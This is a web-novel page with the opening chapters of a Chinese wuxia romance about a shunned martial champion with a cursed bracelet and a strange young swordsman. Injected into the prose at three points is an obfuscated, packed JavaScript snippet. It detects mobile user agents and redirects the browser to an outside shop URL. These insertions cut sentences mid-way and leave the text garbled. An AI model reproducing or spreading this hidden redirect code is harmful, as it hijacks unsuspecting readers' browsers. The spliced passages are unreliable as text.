《小报:与武林第一的日日夜夜》 1. 第 1 章 竹林外的小茶馆中,诸多莫名其妙的异香盖过了茶的淡雅气味,熏得张龙的头微微地痛起来。 他分不清那些香味是什么,有的像果香,有的像是某种熏香,这些味道本身不难闻,但搅在一起,混成一股沉闷而黏腻的气流,在茶馆不大的空间里来回翻涌。 张龙端起手中那盏龙井,抬眼看着四周。茶馆中今日尽是男子,确切地说,是一帮子打扮得花枝招展的男子。他们脸上倒是没什么脂粉的,但要么腰间坠着各种叮叮当当的坠子,要么就是裹了一身的香气。和这些人共处一室,简直就是闹心。 万幸的是,那些人虽然聒噪讨厌,却都离张龙远远的。比如那小方桌边,本来只能坐四五个人,如今却层层叠叠地围了足有两圈,他们宁肯端着茶站着喝,都不要到张龙这里来。 为此,张龙坐在那儿,独享了一张颇大的竹木圆桌,身边很是宽敞。桌面中央还摆着一只白瓷小香炉,里头燃着茶馆自备的檀香,可惜那点檀香的气息早被周围的异香吞没了。 张龙又喝下一口茶去,扭头看窗外的潇潇竹叶。 竹林层层叠叠,深浅不一的绿色在风中起伏,像是水面上的波纹一层推着一层。 忽地,风动,竹叶响。接着是有新的脚步声迈入这小小茶馆中。 小二先是摆出惯有的热情: “客官,上好的茶,您来上一壶?” 然后是惊呼: “哎,哎……你别往那儿坐啊。” 却是一声拉开椅子的动静,就这么响在张龙身边。 张龙下意识地侧过脸,正对上一双眼眸。那人是年轻的,但眼神却是如此幽深,如月色下古井中的水波一般,透着一层晶亮的光。 再看他的打扮,高马尾,一身黑色劲装,看着就是习武之人。他的头发扎得很高,用一根素银簪子固定住,几缕碎发随意落在额前。那身黑色劲装裁剪得利落,袖口扎紧,腰间系着一条暗灰色腰带,上面只坠了一块儿白色玉佩。 嗯,习武之人? 张龙看看他正坐着的椅子。 若是习武之人,就更不该坐在张龙的对面。 那人被张龙打量着,就大大方方地回望着他,再颇为嫌弃地扭头瞥一眼那些还在叽里呱啦闲聊的男人们。他扭头的动作很大,马尾甩到另一边肩膀上去,脸上那种嫌弃的神情毫不掩饰。 好的,很明显了,这人和张龙一样讨厌他们,所以要到这里来躲清静。 但,他知道自己接近了什么人吗? 张龙看看远处正龇牙咧嘴,颇为苦恼的小二,嘴角扯起一丝丝苦笑。 那小二整个人缩在柜台后面,只露出半张脸,正用一种近乎绝望的表情朝这边张望,嘴巴一张一合的,像是在念叨什么,又不敢大声说出来。 张龙知道小二在怕什么。 下一刻,张龙摸着自己左手腕上那只青色的玉镯,冲着那人懒懒开口道: “兄台,你胆子还蛮大的,竟然敢坐到我这里来。” 说完这句,又刻意摸摸自己的玉镯,暗红的纹路在那上面汇成一只猛虎的轮廓,虎头朝上,虎尾卷成一圈,伏在地上,似乎是要随时扑击,很是独特。 见那人还是不走,张龙明白了,他大约是真的不知道自己是谁,便叹一口气,好心地道: “你既然也是练武的,就该知道如今的武林第一正是我。” 那人听了这话,神情没有什么变化,只是有些了然地点头:“哦,第一吗?那你定是喜欢独来独往,不爱与人搭伴?” 看着那人一副“我明白,我懂”的神情,张龙心中的苦涩更浓了。 也罢,就和他全说了吧,省得白白祸害了这个无辜的人。 于是张龙将衣袖扯下去一点,盖住那只镯子,和他剥开自己的往事。 其实说来也很简单,他,张龙,出自武学世家,十五岁时便名动天下,至今已有九年。 但在他成名的那场比武大赛里,他能赢,靠的却不是一身本事,而是靠自幼戴着的镯子。 张家老早就放出话去,说他生下来后不久,就有跛脚的乞丐将这个玉镯送到他家,说一直戴着这个才能保命。命是能保住了,但这个镯子怪异得很,总能随机吸进去一些游魂野鬼,这倒也罢了,最诡异的是,里面的魂魄都会被诅咒,会在一个随机的时间和地点突然醒来钻出,爱上第一眼看到的人,痴恋不已。 这不是假话,就在张龙五岁那年,家中的一个英俊的小厮就被他镯子里醒来的女鬼看上了,根本无法摆脱纠缠,最后自个儿投河而死——也不知是自愿的,还是被女鬼逼迫的。 因此,比武那天,张龙站在台子上,听着风声猎猎,看不到一个对手。 没有人敢上台来,他听得到台下的人在议论,虽听不清,却也知道他们可能在说什么。 谁想莫名其妙地被未知鬼魂一见钟情,来一场人鬼情未了啊。 所以,无人敢和他比试,他也就白捡了一个武林第一的名号。 从那以后,张龙名震天下,也渐渐活成一个孤家寡人。 毕竟,镯子的事已然疯传,后来不仅是武林中人,就是寻常人,也要躲着他走。 比如现在,张龙刚说完这些,店小二苦着脸来找那位年轻人点单了,小二拿着托盘遮着自己的脸,努力使自己不被玉镯看到,侧着身,语速飞快地问那人:“您要什么?哎呦,不是,您换个地方不成吗?” 小二的托盘举得很高,几乎把整张脸都挡在身后,只露出一只眼睛,那只眼睛瞪得溜圆,里面全是惊恐。 那边的张龙慢吞吞提起茶壶来。 他不在意。 要走,就走吧,习惯了。 茶壶的柄握在手里,温温热热的,壶嘴冒出一缕细细的白气。 却是在下一刻,听见那道清亮嗓音说:“和他的一样就行,还有,他的茶钱,算在我这里。” 张龙提着茶壶的手这下顿住了。 茶壶悬在半空,壶嘴微微倾斜,一滴茶水沿着壶口慢慢滑下去,落在桌面上,洇开一个小小的圆点。 小二得了话,毫不犹豫地掉头就跑。他跑得太急,差点绊一跤,踉跄了一下稳住身子,头也不回地钻进后厨去了。而这一边,那人忽然凑近。 啪。 很响的一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430621|200916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那人竟是猛地拍了一下张龙的大腿。 这个动作的冲击力太大。一时间旁人纷纷看过来,而张龙更是手一抖,差点把茶水浇出去。 等等,他……他在干嘛? 张龙缓缓转过眼神去。 这次,他正式地,好好看着眼前人。 他觉得这人一定是疯了。 哪有听了他的故事不跑的人呢? 不跑也就算了,居然还敢碰他。 对面,那人倒是一脸真诚:“张兄,认识一下,我叫陆停。” 他说这话的时候,手掌还稳稳地贴在张龙的大腿上,一点要收回去的意思都没有。 张龙想,他会记住这个名字一辈子的。 陆停的手则依旧放肆地放在他的大腿上,还又试图再拍一下。他的掌心干燥温热,隔着衣料都能感觉到那温度: “张兄,你这镯子的事情,是真的吗?” 张龙神色凝重地点头。 不知为何,这一刻他有些忧伤。 他想,果然的,这人只是有些傻兮兮,没反应过来而已,一旦他知道了我有多可怕,一定也会走的。 然而预料中的事没有发生。 新的一波冲击袭来。 那人竟然有些期待,眼睛骤然亮起更盛的光: “若是真的,可否借我你的镯子用用?我愿意花钱租的!” 张龙:......和这人相处的每时每刻,真的都令人费解。 张龙僵硬地问他:“为何?” 旁人避之不及的东西,你居然想要? 陆停便想起了什么,有些慨然地道: “没办法啊,我弟的婚姻最近出现了一些危机,我想戴着你这个东西,去男小三家里住一段时间。” 说这些的时候,陆停刻意压低声音,只让张龙听到。 于是张龙有一种大晴天的,被雷劈了的感觉。 那人,在说啥?男小三?这是何人? 这都是什么跟什么啊! 为什么我会突然听到这种刺激的家长里短? 不,重点不是这个,你要拿我的镯子去做什么? 陆停以为他不吭声是不愿意,便又说: “要不,你也一起?” 太诚恳了,语气诚恳极了,那只还按在他大腿上的手,微微用力。 好的,真是特别的邀约。 抓奸是吗?还是跟你一块儿在小三家里住着是吗? 哇,想想就......离了大谱。 久久的沉默以后,张龙确定了。 这人是真的在认真地发出邀约,不是戏言。 于是他垂下眼睫,将茶壶重重放在桌上。 瓷壶底磕在桌面上,发出一声闷响,震得壶盖跳了一下。 抬眼,笑起来。 张龙真的是很久没有笑过了: “可以,但我不要租金。 不如……你我做上一场?” 这时,陆停终于收回放在他腿上的手:“做什么?” 张龙说得简短,藏着一种压抑多年的渴望: “打架。你我,对打。” 2. 第 2 章 说什么武林第一,其实就是一个笑话而已。九年以来,不曾有人和张龙真正打上一场。 偏偏他又学到了祖辈一身的本事,他自己心里知道,他担得起武林第一这个名号。 像一把被锁在匣子里的好刀,刃口再锋利,也只能在黑暗中慢慢锈蚀。 此刻,他想,好,既然你提出这么荒唐的请求,那么我也就大胆一次。 像江南水波船上的姑娘,隔着河水抛出一支带着水露的荷花那样。 接与不接,就看对面人的意思了。 张龙看到,陆停正盯着自己的双眼看,显然是正在掂量着什么。他的目光在张龙脸上来回游移,那双幽深的眼眸里,先前那种没心没肺的散漫消失了,取而代之的是一种认真。 终于,陆停动了动唇,说:“好。” 就一个字,干净利落。 他们两人几乎是并肩出门的,走的时候,有很多人投来目光,肆无忌惮地嚼着闲话。 “那人是不是不知道张龙是谁啊?” “啧,年轻气盛,等会儿有他后悔的。” 无非是说陆停胆大包天,敢跟张龙走得很近这样的话。 张龙表面上仍平静地看着前方,实则忍不住地偷偷瞄着身边的陆停。 却是看见对方比他还要淡然,只是偶尔看一眼他的镯子,再若有所思地收回目光。那神情不像是在害怕,倒像是在琢磨什么心事。 两人对上眼神时,陆停问他:“去哪里?” 张龙的声音有些喑哑:“竹林里。” * 茶馆外的那片竹林很大,从门口一直延伸到远处的山脚下。两人沿着一条被人踩出来的小径往里走,脚下的泥土松软,铺着一层枯黄的竹叶。竹竿密密地立着,把天光割成一条一条的碎片,洒落在地上。 越往里走,人声就越远,到最后只剩下风穿过竹叶的沙沙声,和两人踩在落叶上的脚步声。 张龙选了一处稍微开阔些的空地停下。四周的竹子围成一个天然的圆形,地面还算平整,落叶被风扫到边缘去,露出一片光秃秃的黄土地。 他转过身来,面对着陆停。 陆停也停了下来,站在离他五六步远的地方,双手垂在身侧,姿态很放松。 张龙打量着他。 陆停很快从腰间抽出一柄利剑。手腕一挥,剑身在从竹叶缝隙间漏下的光斑中闪了闪,发出一声轻吟。 张龙点了点头,也亮出自己的。那是一柄重剑,剑身宽阔,刃口暗沉,握在手里沉甸甸的。 “开始吧。”张龙说。 话音刚落,陆停就动了。 他的身法极快,快得张龙几乎没有看清他是如何移动的。只觉眼前人影一晃,一道银光便已劈到面门。张龙侧身避开,重剑横在身前格挡,听见一声清脆的金铁交击声。 这一下之后,张龙的心里反而松了一口气。 他原本怕陆停只是应付他,随便比划两下就认输。九年来他遇到过太多这样的人,要么干脆不敢靠近,要么被他逼到台上走个过场就弃权,没有一个人愿意认认真真地和他打一场。 但陆停不是。 那一剑的力量和速度都是实打实的,没有任何敷衍的意思。 张龙的嘴角微微翘起来。 他挥剑迎上去,重剑带着风声横扫而过。陆停没有硬接,脚尖点地,整个人轻飘飘地往后退了几步,身形灵巧得像一只燕子。他的黑色劲装在竹林间穿梭,与那些交错的光影融为一体。 张龙追上去,连劈三剑,都被陆停用轻功躲开了。他的步法很特别,看似杂乱无章,实则每一步都踩在关键的位置上,总是能在张龙的剑锋触及之前滑开,像一条捉不住的游鱼。 “你的轻功很好。”张龙忍不住说。 陆停没有答话,只是微微一笑,手中剑忽然像一条蛇一般,从一个刁钻的角度刺向张龙的肋下。张龙急忙回剑格挡,重剑的宽阔剑身刚好挡住这一击,但陆停的剑尖还是在他的衣袖上划开了一道口子。 张龙低头看了一眼那道口子,眼中闪过一丝惊喜。 九年来,这是第一个在他衣服上留下痕迹的人。 他加快攻势,重剑舞得虎虎生风,一招一式都带着沉猛的力道。每一剑劈下去,都在空气中撕开一道尖锐的呼啸。周围的竹子被剑气扫到,竹叶簌簌落下。 陆停在这阵剑雨中穿梭自如,他的招式轻盈灵活,不像张龙那样大开大合,却每一招都恰到好处。剑在他手中时而如鞭,时而如针,忽左忽右,令人防不胜防。他的整个人都像是融入了这片竹林,与风声、光影、落叶一起流动。 张龙越打越兴奋,他第一次有这种感觉。 然而打着打着,他的目光不经意地落在了自己左手腕上。 那只青色的玉镯在衣袖下若隐若现,暗红色的虎纹微微流转。他的脑海中闪过一个念头——如果这时候镯子里的魂魄醒来了怎么办? 就是这一瞬间的遐想。 他的剑招慢了一拍。 陆停没有放过这个机会。 他的身形一闪,整个人像是被风吹起的竹叶。张龙只觉眼前一花,下颌处便贴上了一片冰凉的金属。 陆停的剑身平贴着张龙的下颌,没有割破皮肤,却让张龙清晰地感受到了那薄如蝉翼的锋刃上散发的寒意。 陆停望着他,没有收剑的意思,只说:“你分神了。” 这一刻的陆停,没有茶馆初遇时拍他大腿的那般毛躁,反而整个人战意极盛,透着一股难以忽略的威势。他的眼神变得锐利,锋芒毕露。重心微微下沉,整个人像一张拉满的弓,随时可以射出致命的一箭。 若是一般人,可能这会儿都想在他面前丢了剑认栽了。 对手,一个真正的对手。 张龙意识到自己遇到了一位非常像样的对手,心脏剧烈地鼓噪起来。 他想再打一次,想和这个人再打一次。 他的右手握紧了剑柄,重剑在掌心里转了半圈,刃口对准了陆停的方向。 然而陆停却是抬头看看天色,忽然道:“不早了,改日再说,我还有事。” 他收了剑,刚才那一身凌厉的威势也随之消散,他又变回了茶馆里那个大大咧咧拍人大腿的年轻人。 张龙愣了一下,握剑的手缓缓松开。 他还想说什么,但陆停已经转身准备走了。 张龙急忙叫住他:“你不要我的镯子了?” 陆停回过头来,表情又恢复了那种理所当然的坦荡:“要的,我要戴着你的镯子去那个男小三家里住着,让那个混蛋也感受一下被一见钟情死缠烂打的痛苦。不过现在我得去一趟许家,求一把金的长命锁。” 许家。 张龙当然知道许家。 这是江湖中以金器闻名的家族。许家打造的金器在武林中赫赫有名,从兵器到首饰,每一件都做工精良,堪称一绝。江湖中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430622|200916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有一个传闻,说许家造的长命锁是极有灵气和来头的,孩子戴上了,定会长命百岁,安康顺遂。 但许家的长命锁,是不轻易许人的。 听到这里,张龙笑了笑:“给你的孩子求的,还是……给家中小辈?” 他一边说,一边用余光打量着陆停。这人看着和张龙差不多大,二十四五岁,也不知娶亲没有。他的五官生得很好看,眉眼之间有一种干净的少年气,不像是成了家有了孩子的人。 这时候陆停则是直白地道:“给我弟弟的孩子求的,他们俩要个孩子,不容易。” 他说这话的时候,语气里带着一种柔软。 于是张龙想象起一对夫妇互相搀扶着,到庙里烧香拜佛,终于求来一个孩子的景象,顿觉同情。 张龙摇头:“那东西可不是好求的,可见你有多重视你弟弟的孩子。” 许家的长命锁有多难求,江湖上无人不知。陆停既然愿意去碰这个钉子,说明他对弟弟的孩子是真的上心。 陆停便说:“当然,他俩情比金坚,我为他们做些什么,是兄长的本分。” 还真是一个重情重义之人,也不知这样的人若是对谁动起情来,会是怎样的光景。 而巧的是,这个忙,张龙正正好能帮上。 张龙的心情难得地愉悦起来:“那你跟我走,我带你去一个地方,保证你能求到长命锁。” 陆停的眼睛亮了:“去哪里?” “许家。” * 说是去许家,走的却不是正门。 张龙领着陆停绕到许家宅子的东侧,那里有一片茂密的树林,树干粗壮,枝叶繁茂,刚好延伸到许家院墙的外侧。他脚尖点地,纵身跃上最近的一棵老槐树,身法轻快,几乎没有发出什么声响。 他回头看了一眼,发现陆停已经跟了上来,正蹲在他旁边的一根树枝上,姿态居然比他还要从容。 陆停的轻功确实很好,从地面到树梢,中间几乎没有停顿,整个人像是被风托上去的一样。 张龙冲他打了个手势,然后从树枝上跃起,翻过院墙,落在墙内的一座假山后面。陆停紧随其后,落地的时候脚掌先着地,身体微微下蹲卸去冲力,整套动作行云流水,连一片叶都没有踩响。 两人避开仆从在房顶上跑。许家的宅子很大,屋顶连绵起伏,像是一片灰色的波浪。张龙在前面带路,猫着腰从一个屋脊蹿到另一个屋脊,每到转角处就先停下来观察四周的动静。 他意外地发现陆停对此很娴熟。这人跟在他身后,间距始终保持在三步以内,每一步都踩在张龙刚刚踩过的地方,既不会跟丢,也不会因为靠得太近而影响张龙的行动。他的脚步极轻,踏在瓦片上只发出极其细微的沙沙声,如果不是刻意去听,根本察觉不到。 这哪里是一个普通习武之人能做到的。 依稀还听到陆停嘀咕一声:“怎么有种又上班了的感觉呢?” 声音很轻,像是自言自语,被风一吹就散了。张龙不确定自己有没有听错。 陆停跟在张龙后面,越走越觉得这上门拜访的方式也太特别了一些。他在一个屋脊上停下来,压低声音问:“这是要去哪里?” 张龙抬一下头,示意他往前看。 前面不远处,有一座独立的小阁楼,挂着薄纱,隐约能看见里面的陈设。阁楼最上面的窗户还半开着,窗台上摆着一盆兰花, 那是许家四小姐的闺房。 3. 第 3 章 去姑娘家的闺房,这未免还是太过分了一些。 所以,张龙主动解释说:“我与四小姐许安,算得上是……嗯,闺中密友。” 说这些的时候,张龙盯着身后人的眼睛。他以为陆停会大吃一惊,或者笑话他这个男人自比娇滴滴的姑娘,搞什么手帕交。毕竟寻常人听到这种话,总得愣上一愣,再挤眉弄眼地调侃几句。 然而,陆停只是点一点头,说一句:“那我在别处等你。” 话音刚落,他就一个转身腾跃,黑色的身影在屋檐上一闪,眨眼间便不知消失在哪里了。动作干脆利落,没有半点多余的反应。 张龙不禁在心里想,这个人,到底遇到什么事才能让他慌张一些呢?看上去年纪轻轻的,但总给人一种似乎已然活了八辈子,见过无数风浪的感觉。 院里传来仆从们说话的声音,隐隐约约的,像是有人在吩咐什么事情,脚步声从院子的东头走到西头。张龙没有耽搁,提气纵身,从藏身的屋脊上掠过去。 他落地的时候,恰好有一个小丫鬟端着茶盘从廊下经过。小丫鬟只觉得头顶有一阵风刮过,抬眼看了看,天上什么也没有,只有几片被风卷起的枯叶在打旋。她便以为是有什么鸟飞过去了,低下头继续往前走。 那一边,许小姐正独自坐在桌边摆弄笔墨。她的面前铺着一张宣纸,右手握着一支毛笔,笔尖悬在纸面上方,却迟迟没有落下去。 当张龙停在窗外时,她侧一下脸,珍珠耳坠随之一移,折射出太阳的光。那耳坠上的珍珠圆润饱满,色泽温润,在她脸颊旁边微微晃动,像是一滴凝固的月光。 她问了一句:“你来了?” 语气平平淡淡的。她放下手中的笔,起身到后面的圆桌边,伸手摸了摸桌沿,找到自己惯常坐的那把椅子坐下。自始至终,都没有看外面一眼。 因为许小姐的双眼是看不见东西的。 她的眼睛生得很好看,眼型修长,睫毛浓密,瞳孔是浅浅的褐色,只是那目光没有焦点,始终落在某个虚无的地方。根据传言,她目盲的毛病是从娘胎里带出来的,许家请了无数名医来看过,都说治不了。 张龙探身进了屋以后,刻意与她保持一段距离,只是站在那儿,远远地看。 倒是许小姐主动笑起来,问他:“你有没有见过那些想来娶我的男人?” 那自然是见过的。就在城外竹林边,茶馆里那些花里胡哨的,恨不得把自己变成香气四溢的烤鸡的那些男人就是。 因为都知道许小姐目盲,因此来求娶的男人就在这方面下足了功夫。他们挖空了心思,希望许小姐能听到他们、看到他们。 但局外人张龙知道,那些人统统都是枉费心机。先不说他们俗不可耐,单从许小姐这边来说,她是拿定了终身不嫁的心思的,纵使父兄最近急得要死,她也岿然不动。 张龙知道宽慰她也没用,尴尬地生硬地开了头,说:“我想求一把长命锁。” 结果许小姐一副听到惊天秘闻的样子,连忙问他:“你是不是有了心仪的姑娘,要提前准备上?” 她的语气里带着一种鲜活的八卦兴致,身体都往前倾了倾,像是要听一个天大的好消息。 张龙就只好苦笑,说:“你不要打趣我,我是为朋友求的。” 说朋友的时候,是有些心虚的,毕竟刚认识不久,打过一场而已。 而许小姐叹口气,说:“你能有朋友,也是难得的事情了。” 确实,人人都怕张龙的镯子。许小姐是个例外,她不怕他,是因为看不见东西——据说与镯子对不上目光,就不会被诅咒。她从来没见过那只玉镯上的暗红纹路,也就从来不需要担心哪一天突然被一个来历不明的鬼魂爱上。 许小姐说:“既然是你的朋友,我肯定要给。” 说着,她站起身,摸索着走到墙边的一个柜子前,从腰间摸出一把小钥匙,打开了柜门。许小姐的手在柜子里摸索了一会儿,搬出一个小箱子来。 她将小箱子放在桌上,打开箱盖。张龙探头一看,这里面竟然足足有十把长命锁,每一把都用红绸子裹着,整整齐齐地排成两排。金的、银的、镶玉的、嵌宝石的,样式各异,每一把都做工精细,上面的花纹繁复精美,一看就不是凡品。 许小姐摸索着从里面取出一把最精致的,递到张龙的方向。那是一把赤金的长命锁,正面雕刻着观音坐莲的图案,观音的面容慈祥,莲花的花瓣层层叠叠,连花蕊都清晰可辨。锁的背面刻着“长命富贵”四个字,笔画有力。锁的下方坠着五串小金铃,轻轻一动就发出细碎的响声。 张龙伸手接过来,指尖触到那冰凉光滑的金面,忍不住赞了一声:“好东西。” 就在这时,头顶传来一阵簌簌的落叶声。 不是风吹的,是有什么东西从上面落下来了。张龙抬头一看,房顶上的瓦片被人推开了一角,露出一个黑漆漆的窟窿,窟窿里隐约能看到一个人的轮廓。 张龙一时无语,想着陆停在上面待了多久,怎么跟个贼人似的。他刚才还说“在别处等你”,结果这个“别处”就是人家的房顶。这人蹲在瓦片上,怕是把他和许小姐的对话从头听到了尾。 那瓦片又动了一下,陆停从窟窿里探出半个身子,往下看了看,然后轻手轻脚地把瓦片挪开更大的缝隙,整个人从上面翻了下来。他的动作很轻,落地的时候几乎没有声音,黑色的衣袂在空气中微微一荡便归于沉寂。 他站稳之后,从怀里取出一张银票,还有一枚叶子形状的羊脂玉玉佩。 那张银票的面额不小,纸张崭新,折得方方正正。而那枚玉佩就更不一般了,叶子形状,脉络清晰,玉质温润细腻,在光线下一照,能看见里面有一层薄薄的油脂般的光泽,一看就是上好的,市面上根本买不到。 还没等陆停开口,许小姐淡淡地说:“我不要那些俗物。你是阿龙的朋友,我就愿意送你东西。” 她的语气很平静,但带着一种不容置疑的笃定。她的手依然放在那个小箱子上,指尖轻轻摩挲着箱盖的边缘。 陆停看了看手中的银票和玉佩,又看了看张龙。张龙则是冲他微微摇了摇头,意思是别推辞了,她说了不要就是不要。 陆停就把东西收回怀里,抱拳说:“多谢姑娘。” 他的声音清亮,在阁楼里回荡了一下。 这时候,许小姐忽然愣住了。她的身体微微僵住,侧着的脸朝着陆停的方向,像是在认真倾听什么。她的睫毛还轻轻颤动了几下,嘴唇微微张开,又合上。 片刻之后,她说:“你能不能再讲几句话让我听听?” 她的声音里有一种很奇怪的波动,像是在确认什么事情。 陆停便面不改色地说:“多谢姑娘,祝姑娘心想事成,天天发大财。” 好俗不可耐的祝词。张龙站在一边,无语望天。 然而许小姐笑了。 她的笑容很淡,只是嘴角微微弯起来,但那双没有焦点的眼睛里忽然有了一丝光亮。她还说了一句让张龙完全没想到的话。 “几年前听你说话,还不似这般油嘴滑舌。” 张龙就看着陆停。 陆停则微微皱眉,似乎也不知道许小姐在说什么。 许小姐似乎感受到了两人的沉默,便自己接下去说了。她说她的耳朵很好,有些人的声音,她能记很久。九年前,有位姓江的公子来为心爱的姑娘求金器,在雨中等了三夜。那时候许家的规矩比现在更严,没有家主的许可,外人不得踏入许家半步。那位江公子就站在大门外,淋着雨,一站就是好久。 他求的是什么呢?是为一个有名的歌姬打造一套金头面。那歌姬据说生得倾国倾城,嗓音如黄莺出谷。江公子为了博她一笑,不惜亲自跑到许家来求金器。 为此许小姐的父亲大动肝火,说他侮辱许家。许家重视所谓的清名道德,历来只接正经人家的单子,从不为歌姬伶人打造首饰。许家家主觉得这是对自家的玷污,当场就把江公子的拜帖撕了,叫人把他赶出去。 而那时许小姐偏偏就听出来了,这公子为女人一掷千金,付出真心是假,借此想在天下扬名,出出风头才是真。他的那些深情款款的说辞,那些在雨中苦等的姿态,都带着一种刻意表演的味道,在演一出给天下人看的戏。 许小姐至今记得,那公子在外面苦等的时候,有一个和他年纪相仿的少年人就整天蹲在许家墙头探风。那少年人的轻功很好,每天天不亮就翻上墙头,猫在屋脊后面,观察着许家院子里的动静。 还时不时低声问一句:“公子,我们真的还要等下去吗?……要是你真喜欢她,我帮你偷了东西,留下来抵命?” 那外面的公子则是懒懒道:“再啰哩巴嗦的,以后就不要在我身边待了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430623|200916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一晃九年而过。此刻,许小姐有些好奇地问道:“是你吗?我记得就是你天天蹲墙头的,那位江公子,现在如何了?” 她一个深闺女子,当然不知外面都发生了什么。 这时候,张龙注意到,陆停眯了一下眼睛。 很快的,陆停恢复平静,抱拳说:“我和他失散已久,只听说,这位公子最近睡得很香。” 于是许小姐“哦”了一声,不再多问。她低下头,手指又摸到那把长命锁上,把它往张龙的方向推了推,说:“拿去吧,给你的朋友。” * 两人从阁楼里出来的时候,外面的天色已经有些暗了,太阳斜斜地挂在山边,把整个天空染成一片昏黄。院子里的仆从少了许多,偶尔有一两个丫鬟端着东西经过,也都低着头匆匆赶路,没有往这边看一眼。 张龙下意识地要往西边走。他记得来的时候是从东边的院墙翻进来的,西边有一条小路可以绕到后门,从那里出去比较安全。 他的脚刚迈出一步,就被一只手揽住了胳膊。 陆停的手很有力,扣在他胳膊肘上方的位置。 张龙侧过头:“干嘛?” 陆停就理所当然地说:“要带你去那位小三家里去住。” 他说这话的时候一脸认真,眼神坦荡,好像这是天底下最自然不过的事情。 张龙挠挠头,说:“你居然没开玩笑啊。” 他还以为陆停在茶馆里说的那些话只是一时兴起,或者是随口胡诌的玩笑。毕竟谁会真的想租一个随时可能冒出痴情鬼魂的镯子,跑去别人家里捣乱呢? 谁曾想,陆停此时说:“那当然。我要租你的镯子,还得再顺带租一下你这个人。咱俩一起去骚扰小三,我觉得效果会更好。” 张龙哭笑不得。他张了张嘴,想说什么,又觉得说什么都不太对。他低头看了看自己手腕上的玉镯,暗红色的虎纹在暮色中显得格外深沉,又抬头看了看陆停那张理所当然的脸。 思忖片刻,他心一横,说:“走就走。” 他说这三个字的时候,胸口有一股说不清道不明的热气往上涌。九年来他从来没有跟任何人结伴做过任何事情,从来没有人在知道他的底细之后还主动邀请他同行。这种感觉很奇怪,像是有什么东西在胸腔里轻轻撞了一下,不疼,但是痒痒的。 陆停说:“好,那我们今夜就走。” 于是大晚上的,两人策马而行。 月亮挂在半空中,又圆又亮,把大地照得一片银白。马蹄踩在官道上,发出清脆的嘚嘚声,在空旷的夜色中传得很远。 那一刻张龙还很恍然,有种在做梦的不真切感。他已经很久没有在夜里出过门了,更久没有跟另一个人并马而行。身边这个人,他今天才第一次见面,说了不到半天的话,打了一场没打完的架,现在居然要跟着他去别人家里当什么“骚扰者”。 更让他感觉在做梦的是,后半夜,两人来到一处地方。他抬头一看,竟是宁王府。 宁王府的宅子很大,占了整整一条街。朱红色的大门紧闭着,门楣上挂着一块金字匾额,写着“宁王府”三个大字,在月光下隐约可见。院墙很高,墙头上铺着青色的琉璃瓦,在夜色中泛着冷冷的光。 陆停下了马,把缰绳随手系在门口的一棵槐树上,然后纵身一跃,稳稳地落在墙头上。他扭脸看着张龙,下巴微微抬了抬,那意思是你怎么不跟上。 张龙站在墙根下,仰头看着他。 月光从陆停的身后照过来,把他的轮廓镀上一层银白色的光。他的黑衣在夜风中微微飘动,高马尾被风吹散了几缕,垂在肩侧。他就那么站在墙头上,姿态闲散得像是在自家院子里散步。 张龙:……怎么咱俩每次去什么地方,走的路都这么特别呢。 但他还是跟上了。他脚尖点地,轻轻跃上墙头,落在陆停身边。两人对视一眼,一前一后地往院子里摸过去。 结果两人才摸黑飞过去一段路,王府里忽然亮起一盏盏灯。 先是门房里的灯亮了,然后是廊下的灯笼一盏接一盏地点燃。 接着有小厮奔跑大喊。 更多的脚步声从院子深处涌出来,灯笼的光越来越多,越来越密,整座宁王府像是被这一嗓子喊醒了。 喊的却不是抓贼啊,而是: “大公子回来了!是大公子!” 4. 第 4 章 从黑暗中登时冒出很多个人来,也不知他们先前藏在哪里,竟统统和夜色,还有这王府融为一体。 乍看上去,这些人和身边陆停的装束打扮是差不多的,都是黑色劲装,利落干练,腰间束着暗色的带子。但其中有一个领头的人,他向前迈了一步,向着陆停躬身行礼,带着一种训练有素的恭敬:“大公子,您可算是回来了。” 于是张龙抱着双臂斜看着陆停,心里呵呵地笑了一下。 知道了,这大概就和话本子里一样,是富家公子哥儿乔装出行,找点新鲜事来做。他听说过这种故事,大户人家的少爷嫌日子太无聊,换上侍卫衣裳跑到江湖上去闯荡,装作什么也不懂的样子。眼前这位,怕也是这个路数。 “原来如此啊,陆兄,”张龙的称呼都有意地客气起来,“你既然是这府里的长子,想要什么都能有,何苦来找我呢?” 没办法,张龙听到别人叫陆停大公子,下意识地以为他是王爷的孩子。 然而对此,陆停扭过头来,却是“啧”了一声,眉头微微皱起,带着一种嫌弃又无奈的表情对他说:“你这……怎么还把我的辈分突然给降了呢?” 他的语气不像是在生气,倒像是被张龙这个误会弄得有些哭笑不得。他摇了摇头,没有多解释,转而冲着下面的人说话。 